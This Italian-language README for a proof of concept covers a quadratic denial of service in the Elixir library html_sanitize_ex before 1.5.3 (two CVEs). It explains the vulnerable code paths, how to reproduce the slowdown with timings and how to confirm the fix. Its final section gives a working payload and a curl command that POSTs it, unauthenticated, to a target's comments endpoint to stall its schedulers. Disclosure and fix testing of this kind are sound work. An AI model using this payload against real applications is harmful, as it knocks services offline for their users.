
PoC che dimostra un DoS quadratico in Elixir html_sanitize_ex tramite HTML appositamente creato; include benchmark temporali, curl per lo sfruttamento remoto e verifica rispetto alle versioni corrette.
Denial of service quadratico in html_sanitize_ex < 1.5.3.
La libreria esiste per neutralizzare HTML non attendibile, ma due percorsi di codice super-lineari indipendenti consentono a una singola richiesta costruita ad arte di bloccare uno scheduler BEAM per secondi. Una manciata di richieste concorrenti satura il pool di scheduler e l'applicazione smette di rispondere. L'impatto è solo sulla disponibilità (CVSS 8.2 High).
| CVE | Componente | Debolezza | Trigger |
|---|---|---|---|
| CVE-2026-68749 | HtmlSanitizeEx.Scrubber.CSS.scrub/1 | CWE-1333 (backtracking delle regex) | lunga sequenza di caratteri di parola in <style> con un : finale |
| CVE-2026-68750 | HtmlSanitizeEx.Traverser.traverse/2 | CWE-407 (attraversamento quadratico) | sequenza piatta di tag fratelli consentiti (es. <b>a</b> × 20.000) |
CVE-2026-68749 è raggiungibile solo tramite
html5/1(o uno scrubber personalizzato che estende:html5). CVE-2026-68750 è presente su ogni punto di ingresso pubblico, inclusibasic_html/1,markdown_html/1estrip_tags/1.
mix.exs # pins html_sanitize_ex to 1.5.2 (the last vulnerable release)
poc.exs # generates both payloads and times them
Requisiti: Elixir ≥ 1.14 e una connessione internet (per scaricare la dipendenza Hex).
mix deps.get # fetches html_sanitize_ex 1.5.2
mix run poc.exs # runs both demos and prints timings
Atteso sulla build vulnerabile 1.5.2 — i tempi di attacco fanno impallidire quelli benigni. La forma è (indicativa; i valori assoluti dipendono dall'hardware, ma i due valori di riferimento dell'attacco provengono direttamente dall'advisory EEF CNA):
=== html_sanitize_ex 1.5.2 ===
CVE-2026-68749 — CSS scrubber (html5/1), 80000 chars of 'a'
benign (…a!): ~ milliseconds (returns near-instantly)
attack (…a!:): ~ 2.4 seconds (thousands of x slower)
diff is a single ':' character
CVE-2026-68750 — traverser (basic_html/1), <b>a</b> siblings
2,000 siblings: ~ milliseconds
20,000 siblings: ~ 1.7 seconds (10x input -> far more than 10x work)
ratio > 10 reveals super-linear growth
Il punto è il rapporto: l'attacco è più lento di ordini di grandezza rispetto a un
input benigno di dimensioni comparabili, e 10× l'input costa molto più di 10× il lavoro.
I valori di 2,4 s (80 KB di <style>) e 1,7 s (20.000 elementi fratelli) sono citati
dalle advisory upstream.
Modifica mix.exs e aggiorna la versione bloccata alla release corretta:
@vulnerable_version "1.5.3" # or later — 1.5.3 contains both fixes
Quindi esegui di nuovo:
mix deps.update html_sanitize_ex
mix run poc.exs
Su 1.5.3 i tempi benigni e quelli di attacco convergono allo stesso ordine di grandezza, perché il fix limita il gruppo regex ([-\w]+ → [-\w]{1,64}) e riscrive il traverser come un singolo Enum.reduce + una List.flatten/1 (O(n²) → O(n)).
In una vera app Phoenix queste chiamate avvengono ovunque il server sanifica il rich text fornito dall'utente. L'attaccante fa semplicemente POST del payload come valore del campo — nessuna autenticazione richiesta:
PAYLOAD="<style>$(python3 -c "print('a'*80000,end='')")!:</style>"
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
-X POST https://target.example.com/comments \
--data-urlencode "body=$PAYLOAD"
Otto richieste concorrenti di questo tipo bloccano tutti gli otto scheduler BEAM su un host a 8 core.
Solo a scopo educativo / per test autorizzati.